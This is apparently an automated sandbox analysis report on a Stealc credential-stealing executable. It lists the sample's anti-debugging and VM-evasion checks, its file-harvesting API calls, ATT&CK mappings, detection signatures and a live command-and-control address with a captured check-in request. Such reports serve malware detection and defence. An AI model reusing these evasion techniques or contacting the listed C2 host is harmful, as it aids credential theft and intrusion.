Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB1F9 second address: 13DB203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FF674E409B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB435 second address: 13DB439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB439 second address: 13DB44A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FF674E409B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB44A second address: 13DB4A9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF6744C8C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b nop 0x0000000c jc 00007FF6744C8CA2h 0x00000012 jne 00007FF6744C8C9Ch 0x00000018 push dword ptr [ebp+1244749Bh] 0x0000001e call 00007FF6744C8CA4h 0x00000023 call 00007FF6744C8C9Eh 0x00000028 mov dx, FA32h 0x0000002c pop edx 0x0000002d pop edx 0x0000002e push 0D4E84F9h 0x00000033 push eax 0x00000034 push edx 0x00000035 jnc 00007FF6744C8C9Ch 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE39E second address: 13DE3AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 je 00007FF674E409B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE3AD second address: 13DE3D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF6744C8CA3h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 je 00007FF6744C8C96h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE3D2 second address: 13DE3ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF674E409C2h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFD88 second address: 13DFD9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FF6744C8C9Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6027F second address: 4C602C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF674E409C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF674E409BEh 0x0000000f push eax 0x00000010 jmp 00007FF674E409BBh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 mov edx, eax 0x00000019 push eax 0x0000001a mov bl, 0Bh 0x0000001c pop ecx 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov ax, CBA7h 0x00000027 mov al, 7Bh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6035B second address: 4C6036A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF6744C8C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6036A second address: 4C60370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60370 second address: 4C60374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60374 second address: 4C60378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe

Special instruction interceptor: First address: 1161AC6 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F138B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00F138B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F14910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F14910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00F0DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00F0E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F14570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00F14570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00F0ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F016D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F0F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F13EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00F13EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0F68A FindFirstFileA,	0_2_00F0F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00F0BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F0DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F01160 GetSystemInfo,ExitProcess,

0_2_00F01160

Source: file.exe, file.exe, 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2091004955.00000000008D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: file.exe, 00000000.00000002.2091004955.00000000008E6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091004955.0000000000903000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2091004955.000000000088E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13627
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13624
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13638
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13678
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13645

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F045C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00F045C0

Source: C:\Users\user\Desktop\file.exe

0_2_00F19860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F19750 mov eax, dword ptr fs:[00000030h]

0_2_00F19750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F178E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00F178E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1164, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F19600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00F19600

Source: file.exe, file.exe, 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: 7FProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00F17B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F17980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00F17980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F17850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00F17850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F17A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00F17A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2091004955.000000000088E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2050199522.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1164, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2091004955.000000000088E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2050199522.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1164, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37	file.exe, 00000000.00000002.2091004955.000000000088E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.2091004955.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpTW	file.exe, 00000000.00000002.2091004955.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpxv	file.exe, 00000000.00000002.2091004955.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524420
Start date and time:	2024-10-02 19:07:02 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 85
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.951210825311078
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'793'024 bytes
MD5:	9267e551326d9f70ca969543647f060b
SHA1:	19a3f3bff029fb895b5d256d6d6a4cce1e5d8a85
SHA256:	4ffb89ed6560f1f1e8c683cd4451982c9588cf8ac2846f652ba88e611dc639bd
SHA512:	f90265f584d3ba3c0974d8c8a0968085a4716c8ca8251b858e33de0abfdba5acb37b0ffca3ff2c44fce1150b58eac1ed688a2d731bd84fd850785ea5424afb2d
SSDEEP:	49152:OLXUAVXAcRNdrKXz/yDqffgb8sa0pQspR+MFVJYWz:UXFduXzI/ndQspRDFx
TLSH:	0D853376B80EB76BC291C174CE769934F16DBC81E3E5D67B4E99112FCA6212CB023724
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa7a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF67468F39Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	8ee9cda0e4db25714f4b473fa9fa73d7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x28b000	0x200	a95af7bbc0bb0cb5cc177a725842c373	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xmtfkgun	0x4e9000	0x190000	0x18fa00	b400b52569a4960d20957559e9e089ee	False	0.9947668224116359	data	7.9523327915554285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
toxpwvxv	0x679000	0x1000	0x400	a355c09c6e725b877d0caaff3e3e1a8d	False	0.78125	data	6.065996624503552	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x67a000	0x3000	0x2200	ba9d3e1c5df24907580f67261531556e	False	0.40441176470588236	DOS executable (COM)	4.2619491113454355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T19:07:57.397568+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 19:07:56.475563049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 2, 2024 19:07:56.480578899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 2, 2024 19:07:56.480724096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 2, 2024 19:07:56.480946064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 2, 2024 19:07:56.485995054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 2, 2024 19:07:57.169059992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 2, 2024 19:07:57.169121981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 2, 2024 19:07:57.172792912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 2, 2024 19:07:57.178584099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 2, 2024 19:07:57.397494078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 2, 2024 19:07:57.397567987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 2, 2024 19:08:00.269784927 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	1164	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 19:07:56.480946064 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 2, 2024 19:07:57.169059992 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 17:07:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
